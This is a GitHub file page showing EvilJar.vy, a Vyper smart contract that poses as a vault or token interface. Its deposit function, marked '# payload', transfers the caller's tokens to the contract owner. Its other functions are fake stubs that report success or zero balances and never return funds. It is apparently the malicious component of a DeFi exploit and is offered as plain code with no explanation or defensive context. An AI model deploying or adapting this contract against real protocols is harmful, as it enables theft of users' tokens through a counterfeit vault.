-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathEvilJar.vy
53 lines (35 loc) · 863 Bytes
/
EvilJar.vy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# @version 0.2.7
from vyper.interfaces import ERC20
owner: address
token: public(ERC20)
getRatio: public(uint256)
decimals: public(uint256)
@external
def __init__(_token: address):
self.owner = msg.sender
self.token = ERC20(_token)
self.getRatio = 0
self.decimals = 0
@external
def deposit(amt: uint256): # payload
self.token.transferFrom(msg.sender, self.owner, amt)
@external
def transfer(dst: address, amt: uint256) -> (bool):
return True
@external
def transferFrom(src: address, dst: address, amt: uint256) -> (bool):
return True
@external
def approve(dst: address, amt: uint256) -> (bool):
return True
@view
@external
def allowance(src: address, dst: address) -> (uint256):
return 0
@view
@external
def balanceOf(src: address) -> (uint256):
return 0
@external
def withdraw(amt: uint256):
return